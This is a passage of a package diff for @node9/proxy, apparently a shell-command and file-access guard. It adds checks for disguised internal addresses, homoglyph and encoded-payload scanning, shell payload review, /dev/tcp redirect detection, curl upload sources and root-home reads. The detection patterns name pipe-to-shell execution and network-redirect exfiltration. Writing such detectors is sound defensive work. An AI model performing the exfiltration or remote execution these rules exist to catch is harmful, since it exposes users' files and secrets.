@node9/proxy 2.35.0 → 2.37.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/dist/index.mjs CHANGED
@@ -276,6 +276,17 @@ function classifySsrf(host2) {
276
276
  return null;
277
277
  }
278
278
  }
279
+ function isDisguisedSpelling(asWritten, normalized) {
280
+ let s = asWritten.trim().toLowerCase().replace(/\.$/, "");
281
+ if (s.startsWith("[") && s.endsWith("]")) s = s.slice(1, -1);
282
+ if (s === normalized) return false;
283
+ const parts = s.split(".");
284
+ const shorthand = parts.length >= 2 && parts.length <= 3 && parts.every((p) => /^(?:0|[1-9][0-9]*)$/.test(p));
285
+ return !shorthand;
286
+ }
287
+ function ssrfDisguisedReason(m, asWritten) {
288
+ return `${asWritten} is ${TIER_REASON[m.tier]} written in a disguised form` + (m.normalized ? ` (${m.normalized})` : "") + ". Plain spellings of it are allowed; this one needs a look.";
289
+ }
279
290
  function ssrfExemptMatches(entries, normalized) {
280
291
  if (!entries?.length || !normalized) return false;
281
292
  const target = bitsOf(normalized);
@@ -312,12 +323,26 @@ function ssrfFloor(tokens, opts = {}) {
312
323
  for (const { token, binary } of tokens) {
313
324
  const m = classifySsrf(token);
314
325
  if (!m) continue;
315
- if (isStrictGatedTier(m.tier) && !opts.ssrfStrict) continue;
316
- if (m.overridable && ssrfExemptMatches(opts.ssrfAllow, m.normalized)) continue;
317
- return { ...m, host: token, binary, reason: ssrfReason(m, token) };
326
+ const decision = ssrfFloorDecision(m, token, opts);
327
+ if (decision === null) continue;
328
+ return {
329
+ ...m,
330
+ host: token,
331
+ binary,
332
+ decision,
333
+ reason: decision === "review" ? ssrfDisguisedReason(m, token) : ssrfReason(m, token)
334
+ };
318
335
  }
319
336
  return null;
320
337
  }
338
+ function ssrfFloorDecision(m, asWritten, opts) {
339
+ if (m.overridable && ssrfExemptMatches(opts.ssrfAllow, m.normalized)) return null;
340
+ if (isStrictGatedTier(m.tier) && !opts.ssrfStrict) {
341
+ if (opts.allowPrivate || m.kind !== "address" || !m.normalized) return null;
342
+ return isDisguisedSpelling(asWritten, m.normalized) ? "review" : null;
343
+ }
344
+ return "block";
345
+ }
321
346
  function isVerdict(v) {
322
347
  return v === "off" || v === "log" || v === "review" || v === "block";
323
348
  }
@@ -485,6 +510,63 @@ function resolveCheckMap(settings) {
485
510
  for (const c of CHECKS) out[c.id] = checkValue(settings, c.id);
486
511
  return out;
487
512
  }
513
+ function isInvisibleChar(char) {
514
+ return INVISIBLE_ONE.test(char);
515
+ }
516
+ function stripInvisible(text) {
517
+ return text.replace(INVISIBLE_RE, "");
518
+ }
519
+ function foldHomoglyphs(text) {
520
+ return text.normalize("NFKC").replace(HOMOGLYPH_RE, (c) => HOMOGLYPHS[c] ?? c);
521
+ }
522
+ function normalizeForScan(text) {
523
+ return foldHomoglyphs(stripInvisible(text));
524
+ }
525
+ function looksLikeText(buf) {
526
+ if (buf.length < MIN_DECODED) return false;
527
+ let printable = 0;
528
+ for (const b of buf) {
529
+ if (b >= 32 && b <= 126 || b === 10 || b === 13 || b === 9) printable++;
530
+ }
531
+ return printable / buf.length >= 0.9;
532
+ }
533
+ function decodeEmbeddedBase64(text) {
534
+ const out = [];
535
+ for (const m of text.matchAll(BASE64_RUN_RE)) {
536
+ if (out.length >= MAX_BLOBS) break;
537
+ const run = m[0];
538
+ if (/^[0-9a-fA-F]+$/.test(run)) continue;
539
+ const buf = Buffer.from(run, "base64");
540
+ if (looksLikeText(buf)) out.push(buf.toString("utf8"));
541
+ }
542
+ return out;
543
+ }
544
+ function decodeEmbeddedHex(text) {
545
+ const out = [];
546
+ for (const m of text.matchAll(HEX_RUN_RE)) {
547
+ if (out.length >= MAX_BLOBS) break;
548
+ const buf = Buffer.from(m[0], "hex");
549
+ if (looksLikeText(buf)) out.push(buf.toString("utf8"));
550
+ }
551
+ for (const m of text.matchAll(HEX_ESCAPE_RUN_RE)) {
552
+ if (out.length >= MAX_BLOBS) break;
553
+ const buf = Buffer.from(m[0].replace(/\\x/g, ""), "hex");
554
+ if (looksLikeText(buf)) out.push(buf.toString("utf8"));
555
+ }
556
+ return out;
557
+ }
558
+ function scanViews(text) {
559
+ const views = [{ kind: "original", text }];
560
+ const normalized = normalizeForScan(text);
561
+ if (normalized !== text) views.push({ kind: "normalized", text: normalized });
562
+ for (const t of decodeEmbeddedBase64(normalized)) {
563
+ views.push({ kind: "base64", text: normalizeForScan(t) });
564
+ }
565
+ for (const t of decodeEmbeddedHex(normalized)) {
566
+ views.push({ kind: "hex", text: normalizeForScan(t) });
567
+ }
568
+ return views;
569
+ }
488
570
  function isCatHeredocOrLit(part) {
489
571
  if (!part) return false;
490
572
  const t = syntax.NodeType(part);
@@ -555,14 +637,78 @@ function normalizeCommandForPolicy(command) {
555
637
  }
556
638
  function commandReadings(command) {
557
639
  const r = commandReadingsImpl(command);
558
- return r.separator === r.posix ? [r.posix] : [r.posix, r.separator];
640
+ const out = /* @__PURE__ */ new Set([r.posix, r.separator, r.folded]);
641
+ for (const payload of literalPayloadsOf(r.posix, 0)) {
642
+ for (const reading of commandReadings(payload)) out.add(reading);
643
+ }
644
+ return [...out];
645
+ }
646
+ function literalPayloadsOf(command, depth) {
647
+ if (depth > 0 || !/\b(?:sh|bash|zsh|dash|ksh|eval)\b/.test(command)) return [];
648
+ const f = parseShared(command);
649
+ if (f === PARSE_FAIL) return [];
650
+ const out = [];
651
+ try {
652
+ syntax.Walk(f, (node) => {
653
+ if (!node || out.length >= MAX_READING_PAYLOADS) return false;
654
+ const n = node;
655
+ if (syntax.NodeType(n) !== "CallExpr") return true;
656
+ const words = (n.Args || []).map((a) => resolveWordLiteral(a));
657
+ if (words.length === 0) return true;
658
+ const payload = literalShellPayload(words, baseWord(words[0]));
659
+ if (payload !== null && payload !== command) out.push(payload);
660
+ return true;
661
+ });
662
+ } catch {
663
+ return out;
664
+ }
665
+ return out;
666
+ }
667
+ function foldCommandWords(reading) {
668
+ if (!/[^\x00-\x7f]/.test(reading)) return reading;
669
+ const f = parseShared(reading);
670
+ if (f === PARSE_FAIL) return reading;
671
+ const toCharIndex = byteOffsetToCharIndex(reading);
672
+ const at = (byteOffset) => toCharIndex === null ? byteOffset : toCharIndex(byteOffset);
673
+ const edits = [];
674
+ try {
675
+ syntax.Walk(f, (node) => {
676
+ if (!node) return false;
677
+ const n = node;
678
+ if (syntax.NodeType(n) !== "CallExpr") return true;
679
+ const args = n.Args || [];
680
+ const words = args.map((a) => resolveWordLiteral(a));
681
+ const folded = words.map((w) => w === null ? null : foldHomoglyphs(w));
682
+ const head = unwrapCommandHead(folded);
683
+ for (let i = 0; i <= head && i < args.length; i++) {
684
+ const parts = args[i].Parts || [];
685
+ if (parts.length !== 1 || syntax.NodeType(parts[0]) !== "Lit") continue;
686
+ const value = parts[0].Value ?? "";
687
+ const word = folded[i];
688
+ if (word === null || word === value || !/[^\x00-\x7f]/.test(value)) continue;
689
+ if (!/^[A-Za-z0-9._/-]+$/.test(word)) continue;
690
+ const s = at(args[i].Pos().Offset());
691
+ const e = at(args[i].End().Offset());
692
+ if (s < 0 || e < 0) continue;
693
+ edits.push([s, e, word]);
694
+ }
695
+ return true;
696
+ });
697
+ } catch {
698
+ return reading;
699
+ }
700
+ if (edits.length === 0) return reading;
701
+ edits.sort((a, b) => b[0] - a[0]);
702
+ let out = reading;
703
+ for (const [s, e, rep] of edits) out = out.slice(0, s) + rep + out.slice(e);
704
+ return out;
559
705
  }
560
706
  function commandReadingsImpl(command) {
561
707
  return cachedNormalize(command, () => normalizeCommandForPolicyImpl(command));
562
708
  }
563
709
  function normalizeCommandForPolicyImpl(command) {
564
710
  const f = parseShared(command);
565
- if (f === PARSE_FAIL) return { posix: command, separator: command };
711
+ if (f === PARSE_FAIL) return { posix: command, separator: command, folded: command };
566
712
  try {
567
713
  const toCharIndex = byteOffsetToCharIndex(command);
568
714
  const at = (byteOffset) => toCharIndex === null ? byteOffset : toCharIndex(byteOffset);
@@ -630,9 +776,10 @@ function normalizeCommandForPolicyImpl(command) {
630
776
  for (const [s, e, rep] of edits) out = out.slice(0, s) + rep + out.slice(e);
631
777
  return out;
632
778
  };
633
- return { posix: apply(rewrites), separator: apply(quoteOnlyRewrites) };
779
+ const posix = apply(rewrites);
780
+ return { posix, separator: apply(quoteOnlyRewrites), folded: foldCommandWords(posix) };
634
781
  } catch {
635
- return { posix: command, separator: command };
782
+ return { posix: command, separator: command, folded: command };
636
783
  }
637
784
  }
638
785
  function scanArgsForDynamicExec(args, startIdx) {
@@ -793,6 +940,13 @@ function shellConsumesPipe(args) {
793
940
  }
794
941
  return true;
795
942
  }
943
+ function curlSourceOperand(flag, value) {
944
+ const file2 = (f) => f && f !== "-" && f !== "." ? f : null;
945
+ if (flag === "-T" || flag === "--upload-file") return file2(value);
946
+ if (flag === "--data-urlencode") return file2(/^[^=@]*@(.+)$/.exec(value)?.[1]);
947
+ if (flag === "-F" || flag === "--form") return file2(/^[^=]*=[@<]([^;]+)/.exec(value)?.[1]);
948
+ return value.startsWith("@") ? file2(value.slice(1)) : null;
949
+ }
796
950
  function analyzeSqlDestructive(command) {
797
951
  if (!SQL_DDL_RE.test(command)) return null;
798
952
  const { actions } = analyzeShellCommand(command);
@@ -954,13 +1108,19 @@ function inlineExecStmt(stmt, pipeFed) {
954
1108
  }
955
1109
  let positionals2 = 0;
956
1110
  let selectedProgram = false;
957
- for (const a of args) {
1111
+ for (let i = 0; i < args.length; i++) {
1112
+ const a = args[i];
958
1113
  if (a == null) {
959
1114
  positionals2++;
960
1115
  selectedProgram = true;
961
1116
  continue;
962
1117
  }
963
- if (!selectedProgram && isInlineCodeFlag(interp, a)) return true;
1118
+ if (!selectedProgram && isInlineCodeFlag(interp, a)) {
1119
+ if (!/^(bash|sh|zsh|dash|ksh)$/.test(interp)) return true;
1120
+ const payload = args[i + 1];
1121
+ if (payload == null) return true;
1122
+ return shellPayloadNeedsReview(payload);
1123
+ }
964
1124
  if (a === "-m") {
965
1125
  selectedProgram = true;
966
1126
  continue;
@@ -978,6 +1138,45 @@ function inlineExecStmt(stmt, pipeFed) {
978
1138
  }
979
1139
  return false;
980
1140
  }
1141
+ function shellPayloadNeedsReview(payload) {
1142
+ if (payloadNesting >= MAX_PAYLOAD_NESTING) return true;
1143
+ const f = parseShared(payload);
1144
+ if (f === PARSE_FAIL) return true;
1145
+ let review = false;
1146
+ payloadNesting++;
1147
+ try {
1148
+ syntax.Walk(f, (node) => {
1149
+ if (!node || review) return false;
1150
+ const n = node;
1151
+ if (syntax.NodeType(n) !== "CallExpr") return true;
1152
+ const words = (n.Args || []).map((a) => resolveWordLiteral(a));
1153
+ if (words.length === 0) return true;
1154
+ const h = unwrapCommandHead(words);
1155
+ const head = words[h];
1156
+ if (head === null || head === void 0) {
1157
+ review = true;
1158
+ return false;
1159
+ }
1160
+ const name = head.split("/").pop()?.toLowerCase() ?? "";
1161
+ if (name === "eval" || name === "source" || name === ".") {
1162
+ review = true;
1163
+ return false;
1164
+ }
1165
+ return true;
1166
+ });
1167
+ if (!review && detectDangerousShellExec(payload) !== null) review = true;
1168
+ if (!review && /\|\s*(?:[\w./-]*\/)?(?:ba|z|da|k|c|fi)?sh\b|\|\s*(?:python[\d.]*|node|perl|ruby|php)\b/i.test(
1169
+ payload
1170
+ ))
1171
+ review = true;
1172
+ if (!review && detectInlineExec(payload)) review = true;
1173
+ } catch {
1174
+ review = true;
1175
+ } finally {
1176
+ payloadNesting--;
1177
+ }
1178
+ return review;
1179
+ }
981
1180
  function detectInlineExec(command) {
982
1181
  const f = parseShared(command);
983
1182
  if (f === PARSE_FAIL) {
@@ -1058,12 +1257,78 @@ function positionedArgs(words, from = 1, to = words.length) {
1058
1257
  function extractLiteralArgs(callExpr) {
1059
1258
  const rawArgs = callExpr.Args || [];
1060
1259
  if (rawArgs.length === 0) return { name: "", flags: [], paths: [], words: [], args: [] };
1061
- const words = rawArgs.map((a) => resolveWordLiteral(a));
1260
+ const words = rawArgs.map((a) => windowsDrivePathSpelling(a) ?? resolveWordLiteral(a));
1062
1261
  const name = baseWord(words[0]);
1063
1262
  const flags = words.slice(1).filter((w) => w !== null && w.startsWith("-"));
1064
1263
  const args = positionedArgs(words);
1065
1264
  return { name, flags, paths: args.map((a) => a.value), words, args };
1066
1265
  }
1266
+ function shellScriptOperands(command) {
1267
+ const f = parseShared(command);
1268
+ if (f === PARSE_FAIL) return [];
1269
+ const out = [];
1270
+ const seen = /* @__PURE__ */ new Set();
1271
+ const add = (p) => {
1272
+ if (!p || p.startsWith("-") || seen.has(p) || out.length >= MAX_SCRIPT_OPERANDS) return;
1273
+ if (/(^|[\\/])node_modules[\\/]|[\\/]\.bin[\\/]/.test(p)) return;
1274
+ seen.add(p);
1275
+ out.push(p);
1276
+ };
1277
+ try {
1278
+ walkWithCalls(f, (node) => {
1279
+ if (!node) return false;
1280
+ const n = node;
1281
+ if (syntax.NodeType(n) !== "CallExpr") return true;
1282
+ const callArgs = n.Args || [];
1283
+ if (callArgs.length === 0) return true;
1284
+ const words = callArgs.map((a) => resolveWordLiteral(a));
1285
+ const h = unwrapCommandHead(words);
1286
+ const headWord = words[h];
1287
+ if (headWord === null || headWord === void 0) return true;
1288
+ const name = baseWord(headWord);
1289
+ if (SCRIPT_RUNNERS.has(name)) {
1290
+ for (let i = h + 1; i < words.length; i++) {
1291
+ const w = words[i];
1292
+ if (w === null) return true;
1293
+ if (w === "-c" || w === "-lc" || w === "-ec") return true;
1294
+ if (w === "--") {
1295
+ add(words[i + 1] ?? null);
1296
+ return true;
1297
+ }
1298
+ if (w.startsWith("-") || w.startsWith("+")) {
1299
+ if (SCRIPT_RUNNER_VALUE_FLAGS.has(w)) i++;
1300
+ continue;
1301
+ }
1302
+ add(w);
1303
+ return true;
1304
+ }
1305
+ return true;
1306
+ }
1307
+ if (/[\\/]/.test(headWord)) add(headWord);
1308
+ return true;
1309
+ });
1310
+ } catch {
1311
+ return out;
1312
+ }
1313
+ return out;
1314
+ }
1315
+ function windowsDrivePathSpelling(word) {
1316
+ const parts = word?.Parts || [];
1317
+ if (parts.length === 0 || !parts.every((p) => syntax.NodeType(p) === "Lit")) return null;
1318
+ const raw = parts.map((p) => p.Value ?? "").join("");
1319
+ return /^[A-Za-z]:\\[^\s'"$`]*$/.test(raw) ? raw : null;
1320
+ }
1321
+ function devNetRedirectHost(word) {
1322
+ if (!word) return null;
1323
+ const m = /^\/dev\/(tcp|udp)\/([^/\s]+)\/([^/\s]+)$/i.exec(word.trim());
1324
+ if (!m) return null;
1325
+ const host2 = m[2].toLowerCase();
1326
+ return host2.length <= 253 ? host2 : null;
1327
+ }
1328
+ function redirectWords(stmt) {
1329
+ const redirs = stmt.Redirs || [];
1330
+ return redirs.filter((r) => r && r.Word).map((r) => resolveWordLiteral(r.Word));
1331
+ }
1067
1332
  function payloadKey(payload) {
1068
1333
  if (!assignmentTable || assignmentTable.size === 0) return payload;
1069
1334
  const bindings = [];
@@ -1412,7 +1677,18 @@ function extractShellDestinations(command) {
1412
1677
  () => walkWithCalls(f, (node) => {
1413
1678
  if (!node) return false;
1414
1679
  const n = node;
1415
- if (syntax.NodeType(n) === "Stmt") trackStatement(n);
1680
+ if (syntax.NodeType(n) === "Stmt") {
1681
+ trackStatement(n);
1682
+ for (const raw of redirectWords(n)) {
1683
+ const host2 = devNetRedirectHost(raw);
1684
+ if (!host2) continue;
1685
+ const binary = raw.trim().slice(0, "/dev/tcp".length).toLowerCase();
1686
+ const key = `${binary}:${host2}`;
1687
+ if (seen.has(key)) continue;
1688
+ seen.add(key);
1689
+ out.push({ host: host2, binary, raw });
1690
+ }
1691
+ }
1416
1692
  if (syntax.NodeType(n) !== "CallExpr") return true;
1417
1693
  const callArgs = n.Args || [];
1418
1694
  if (callArgs.length === 0) return true;
@@ -1448,7 +1724,18 @@ function extractShellDestTokens(command) {
1448
1724
  () => walkWithCalls(f, (node) => {
1449
1725
  if (!node) return false;
1450
1726
  const n = node;
1451
- if (syntax.NodeType(n) === "Stmt") trackStatement(n);
1727
+ if (syntax.NodeType(n) === "Stmt") {
1728
+ trackStatement(n);
1729
+ for (const raw of redirectWords(n)) {
1730
+ const host2 = devNetRedirectHost(raw);
1731
+ if (!host2) continue;
1732
+ const binary = raw.trim().slice(0, "/dev/tcp".length).toLowerCase();
1733
+ const key = `${binary}:${host2}`;
1734
+ if (seen.has(key)) continue;
1735
+ seen.add(key);
1736
+ out.push({ token: host2, binary });
1737
+ }
1738
+ }
1452
1739
  if (syntax.NodeType(n) !== "CallExpr") return true;
1453
1740
  const callArgs = n.Args || [];
1454
1741
  if (callArgs.length === 0) return true;
@@ -1788,8 +2075,11 @@ function copySourcePaths(words) {
1788
2075
  const out = [];
1789
2076
  for (const action of findActions(words, fi)) {
1790
2077
  const h2 = unwrapCommandHead(action);
1791
- if (!resolveCopyShape(action, h2)) continue;
1792
- out.push(...starts, ...copySourcePaths(action));
2078
+ const shape2 = resolveCopyShape(action, h2);
2079
+ if (!shape2) continue;
2080
+ const inner = copySourcePaths(action);
2081
+ const startsCopied = shape2.shape.source !== "flagOperand" || inner.some((p) => p.includes("{}"));
2082
+ out.push(...startsCopied ? starts : [], ...inner);
1793
2083
  }
1794
2084
  return out;
1795
2085
  }
@@ -1845,11 +2135,24 @@ function copySourcePaths(words) {
1845
2135
  );
1846
2136
  return f.letter !== null && names.includes(f.letter);
1847
2137
  };
1848
- const inline = tail.filter((w) => w !== null && w.startsWith("-")).map((w) => flagInfo(w)).filter((f) => f.attached !== null && namesSource(f)).map((f) => f.attached);
2138
+ const sourceFlagName = (w) => {
2139
+ const names = shape.sourceFlags ?? [];
2140
+ if (w.startsWith("--")) {
2141
+ const name = w.includes("=") ? w.slice(0, w.indexOf("=")) : w;
2142
+ return names.find(
2143
+ (n) => n.startsWith("--") && (n === name || name.length >= 3 && n.startsWith(name))
2144
+ ) ?? name;
2145
+ }
2146
+ const letters = w.slice(1);
2147
+ const owner = letters.split("").find((c) => (shape.valueLetters ?? names).includes(c));
2148
+ return `-${owner ?? letters[letters.length - 1]}`;
2149
+ };
2150
+ const operandFile = (flag, value) => shape.sourceOperand ? shape.sourceOperand(flag, value) : value;
2151
+ const inline = tail.filter((w) => w !== null && w.startsWith("-")).map((w) => flagInfo(w)).filter((f) => f.attached !== null && namesSource(f)).map((f) => operandFile(f.long ?? sourceFlagName(`-${f.letter}`), f.attached));
1849
2152
  return [
1850
- ...args.filter((a) => !copyPastOptions(a) && operandOf(a, shape.sourceFlags, shape.valueLetters)).map((a) => a.value),
2153
+ ...args.filter((a) => !copyPastOptions(a) && operandOf(a, shape.sourceFlags, shape.valueLetters)).map((a) => operandFile(sourceFlagName(a.afterFlag), a.value)),
1851
2154
  ...inline
1852
- ];
2155
+ ].filter((p) => p !== null);
1853
2156
  }
1854
2157
  case "archive":
1855
2158
  src = archiveInputs(shape.archive, args, tail);
@@ -2195,9 +2498,9 @@ function matchesPattern(text, patterns) {
2195
2498
  const withoutDotSlash = text.replace(/^\.\//, "");
2196
2499
  return isMatch(withoutDotSlash) || isMatch(`./${withoutDotSlash}`);
2197
2500
  }
2198
- function getNestedValue(obj, path26) {
2501
+ function getNestedValue(obj, path27) {
2199
2502
  if (!obj || typeof obj !== "object") return null;
2200
- const segments2 = path26.split(".");
2503
+ const segments2 = path27.split(".");
2201
2504
  for (const seg of segments2) {
2202
2505
  if (FORBIDDEN_PATH_SEGMENTS.has(seg)) return null;
2203
2506
  }
@@ -2623,6 +2926,12 @@ function collectShellFileAccesses(command, context = {}) {
2623
2926
  if (FS_READ_TOOLS.has(name) && name !== "dd") {
2624
2927
  for (const p of readerPaths(words, head)) add("read", locate(p), state);
2625
2928
  }
2929
+ if (["ls", "tree", "dir", "vdir"].includes(name)) {
2930
+ for (const token of args) {
2931
+ if (!token || token.value.startsWith("-")) continue;
2932
+ add("read", token, state, { listing: true });
2933
+ }
2934
+ }
2626
2935
  if (name === "dd") {
2627
2936
  for (const token of args)
2628
2937
  if (token && /^(?:if|of)=/.test(token.value)) {
@@ -2838,6 +3147,8 @@ function collectShellFileAccesses(command, context = {}) {
2838
3147
  function findActions2(tokens, words, head, state, nested, depth) {
2839
3148
  const starts = findStartPoints(words, head).starts;
2840
3149
  const roots = (starts.length ? starts : ["."]).slice(0, MAX_ALTERNATIVES);
3150
+ for (const start of starts.slice(0, MAX_ALTERNATIVES))
3151
+ add("read", { value: start }, state, { listing: true });
2841
3152
  let nameFilter = null;
2842
3153
  let pathFilter = null;
2843
3154
  let shallow = false;
@@ -3172,8 +3483,8 @@ function collectFileAccesses(tool, args, context = {}, inspection = {}) {
3172
3483
  }
3173
3484
  return out;
3174
3485
  }
3175
- function within(path26, root) {
3176
- return path26 === root || path26.startsWith(root === "/" ? "/" : root + "/");
3486
+ function within(path27, root) {
3487
+ return path27 === root || path27.startsWith(root === "/" ? "/" : root + "/");
3177
3488
  }
3178
3489
  function hits(access, paths, directories, context) {
3179
3490
  const home = context.homeDirs?.[0] ?? "~";
@@ -3229,6 +3540,10 @@ function hitsSystemDir(access, context, dirs = SYSTEM_DIRS) {
3229
3540
  }
3230
3541
  return false;
3231
3542
  }
3543
+ function hitsRootHome(access, context) {
3544
+ if (context.homeDirs?.[0] === "/root") return false;
3545
+ return hitsSystemDir(access, context, ["/root"]);
3546
+ }
3232
3547
  function uploadDirs(context) {
3233
3548
  return context.homeDirs?.[0] === "/root" ? UPLOAD_SYSTEM_DIRS.filter((d) => d !== "/root") : UPLOAD_SYSTEM_DIRS;
3234
3549
  }
@@ -3261,10 +3576,14 @@ function evaluateProtectedFileAccess(accesses, context, settings) {
3261
3576
  "files.system-dirs",
3262
3577
  "review-system-file-upload",
3263
3578
  "Uploading a system file requires approval"
3264
- ] : !mutation && hits(access, PASSWORD_HASH_FILES, [], context) ? [
3579
+ ] : !mutation && !access.listing && hits(access, PASSWORD_HASH_FILES, [], context) ? [
3265
3580
  "files.password-hashes",
3266
3581
  "review-password-hash-read",
3267
3582
  "Reading system password hashes requires approval"
3583
+ ] : !mutation && !access.upload && hitsRootHome(access, context) ? [
3584
+ "files.system-dirs",
3585
+ "review-root-home-read",
3586
+ "Reading the root account's home requires approval"
3268
3587
  ] : null;
3269
3588
  } catch {
3270
3589
  consider(incompleteFileVerdict(access.operation));
@@ -3328,7 +3647,7 @@ function findMnemonic(text, budget = { hashes: 0, reasons: /* @__PURE__ */ new S
3328
3647
  };
3329
3648
  for (const word of text.matchAll(/[a-zA-Z]+/g)) {
3330
3649
  const index = indices.get(word[0]);
3331
- if (index === void 0 || run.length && !/^\s+$/.test(text.slice(previousEnd, word.index))) {
3650
+ if (index === void 0 || run.length && !/^[\s+]+$/.test(text.slice(previousEnd, word.index))) {
3332
3651
  if (inspect()) return true;
3333
3652
  if (budget.reasons.has("mnemonic-budget")) return false;
3334
3653
  run = [];
@@ -3342,95 +3661,291 @@ function findMnemonic(text, budget = { hashes: 0, reasons: /* @__PURE__ */ new S
3342
3661
  }
3343
3662
  return inspect();
3344
3663
  }
3345
- function validateLuhn(digits) {
3346
- if (!/^\d+$/.test(digits)) return false;
3347
- if (digits.length < 12) return false;
3348
- if (!/[1-9]/.test(digits)) return false;
3349
- let sum = 0;
3350
- let double = false;
3351
- for (let i = digits.length - 1; i >= 0; i--) {
3352
- let d = digits.charCodeAt(i) - 48;
3353
- if (double) {
3354
- d *= 2;
3355
- if (d > 9) d -= 9;
3356
- }
3357
- sum += d;
3358
- double = !double;
3359
- }
3360
- return sum % 10 === 0;
3361
- }
3362
- function validateIban(raw) {
3363
- const s = raw.replace(/[ -]/g, "").toUpperCase();
3364
- if (!/^[A-Z]{2}\d{2}/.test(s)) return false;
3365
- const want = IBAN_LENGTH[s.slice(0, 2)];
3366
- if (want === void 0 || s.length < want) return false;
3367
- const iban = s.slice(0, want);
3368
- if (!/^[A-Z0-9]+$/.test(iban)) return false;
3369
- const rearranged = iban.slice(4) + iban.slice(0, 4);
3370
- let mod = 0;
3371
- for (const ch of rearranged) {
3372
- const code = ch.charCodeAt(0);
3373
- const digits = code >= 65 ? String(code - 55) : ch;
3374
- for (const d of digits) mod = (mod * 10 + (d.charCodeAt(0) - 48)) % 97;
3375
- }
3376
- return mod === 1;
3377
- }
3378
- function validateBase58Check(s) {
3379
- if (!s) return null;
3380
- let n = 0n;
3381
- for (const c of s) {
3382
- const v = B58_INDEX[c];
3383
- if (v === void 0) return null;
3384
- n = n * 58n + BigInt(v);
3385
- }
3386
- let hex = n.toString(16);
3387
- if (hex.length % 2) hex = "0" + hex;
3388
- let zeros = 0;
3389
- for (const c of s) {
3390
- if (c !== "1") break;
3391
- zeros++;
3392
- }
3393
- const bytes = Buffer.concat([
3394
- Buffer.alloc(zeros),
3395
- n === 0n ? Buffer.alloc(0) : Buffer.from(hex, "hex")
3396
- ]);
3397
- if (bytes.length < 5) return null;
3398
- const body = bytes.subarray(0, bytes.length - 4);
3399
- const check = bytes.subarray(bytes.length - 4);
3400
- const h = createHash22("sha256").update(createHash22("sha256").update(body).digest()).digest();
3401
- return h.subarray(0, 4).equals(check) ? body : null;
3664
+ function newSecretViewBudget() {
3665
+ return { hashes: 0, nestedBytes: 0, joinedLabelBytes: 0, reasons: /* @__PURE__ */ new Set() };
3402
3666
  }
3403
- function validateWif(s) {
3404
- const p = validateBase58Check(s);
3405
- if (!p || p[0] !== 128) return false;
3406
- return p.length === 33 || p.length === 34 && p[33] === 1;
3667
+ function textBytes(buf) {
3668
+ if (buf.length < 16) return null;
3669
+ const text = buf.toString("utf8");
3670
+ if (!Buffer.from(text).equals(buf) || /[\x00-\x08\x0b\x0c\x0e-\x1f\x7f]/.test(text)) return null;
3671
+ return text;
3407
3672
  }
3408
- function validateXprv(s) {
3409
- const p = validateBase58Check(s);
3410
- if (!p || p.length !== 78) return false;
3411
- const version = p.readUInt32BE(0);
3412
- return XPRV_VERSIONS.has(version) && p[45] === 0;
3673
+ function percentOnce(text) {
3674
+ return text.replace(/(?:%[a-f0-9]{2})+/gi, (run) => {
3675
+ try {
3676
+ return decodeURIComponent(run);
3677
+ } catch {
3678
+ return run.replace(
3679
+ /%([a-f0-9]{2})/gi,
3680
+ (_, h) => String.fromCharCode(parseInt(h, 16))
3681
+ );
3682
+ }
3683
+ });
3413
3684
  }
3414
- function crc32(input) {
3415
- if (!CRC32_TABLE) {
3416
- CRC32_TABLE = new Int32Array(256);
3417
- for (let i = 0; i < 256; i++) {
3418
- let c2 = i;
3419
- for (let k = 0; k < 8; k++) c2 = c2 & 1 ? 3988292384 ^ c2 >>> 1 : c2 >>> 1;
3420
- CRC32_TABLE[i] = c2;
3685
+ function* wrappedBase64(text) {
3686
+ if (!text.includes("\n")) return;
3687
+ const word = /^[A-Za-z0-9+/_-]+={0,2}$/;
3688
+ let run = [];
3689
+ let width = 0;
3690
+ const flush = function* () {
3691
+ if (run.length >= 2) yield run.join("");
3692
+ run = [];
3693
+ width = 0;
3694
+ };
3695
+ for (const raw of text.split("\n")) {
3696
+ const line = raw.trim();
3697
+ const full = line.length >= 16 && word.test(line) && !line.includes("=");
3698
+ if (full && (!run.length || line.length === width)) {
3699
+ run.push(line);
3700
+ width = line.length;
3701
+ continue;
3702
+ }
3703
+ if (run.length && word.test(line) && line.length >= 2 && line.length <= width) {
3704
+ run.push(line);
3705
+ yield* flush();
3706
+ continue;
3707
+ }
3708
+ yield* flush();
3709
+ if (full) {
3710
+ run.push(line);
3711
+ width = line.length;
3421
3712
  }
3422
3713
  }
3423
- const bytes = typeof input === "string" ? Buffer.from(input, "utf8") : input;
3424
- let c = -1;
3425
- for (let i = 0; i < bytes.length; i++) c = CRC32_TABLE[(c ^ bytes[i]) & 255] ^ c >>> 8;
3426
- return (c ^ -1) >>> 0;
3714
+ yield* flush();
3427
3715
  }
3428
- function base62Checksum(value) {
3429
- let n = value >>> 0;
3430
- let s = "";
3431
- while (n > 0) {
3432
- s = B62[n % 62] + s;
3433
- n = Math.floor(n / 62);
3716
+ function* encodedRegions(text, budget) {
3717
+ yield [text, false];
3718
+ for (const block of wrappedBase64(text)) yield [block, false];
3719
+ for (const match of text.matchAll(/(?<![a-z0-9+.-])[a-z][a-z0-9+.-]{0,30}:\/\/[^\s<>"']+/gi)) {
3720
+ try {
3721
+ new URL(match[0]);
3722
+ } catch {
3723
+ continue;
3724
+ }
3725
+ const parts = match[0].match(
3726
+ /^[a-z][a-z0-9+.-]*:\/\/([^/?#]*)([^?#]*)(?:\?([^#]*))?(?:#(.*))?$/i
3727
+ );
3728
+ if (!parts) continue;
3729
+ const host2 = parts[1].slice(parts[1].lastIndexOf("@") + 1).replace(/:\d+$/, "");
3730
+ const regions = [
3731
+ parts[1],
3732
+ ...host2.split("."),
3733
+ ...parts[2].split("/"),
3734
+ ...(parts[3] ?? "").split("&"),
3735
+ parts[4] ?? ""
3736
+ ];
3737
+ for (const region of regions) if (region) yield [region, false];
3738
+ const labels = host2.split(".");
3739
+ if (host2.length > SECRET_VIEW_LIMITS.maxHostLength || labels.length > SECRET_VIEW_LIMITS.maxLabels || !labels.every((l) => l.length >= 1 && l.length <= SECRET_VIEW_LIMITS.maxLabelLength))
3740
+ continue;
3741
+ for (let start = 0; start < labels.length; start++) {
3742
+ let joined = labels[start];
3743
+ for (let end = start + 1; end < Math.min(labels.length, start + 8); end++) {
3744
+ const run = labels.slice(start, end + 1);
3745
+ if (!run.every((s) => /^[a-f0-9]{2,}$/i.test(s)) && !run.every((s) => /^[A-Z2-7]{4,}$/i.test(s)))
3746
+ break;
3747
+ joined += labels[end];
3748
+ if (joined.length < 16) continue;
3749
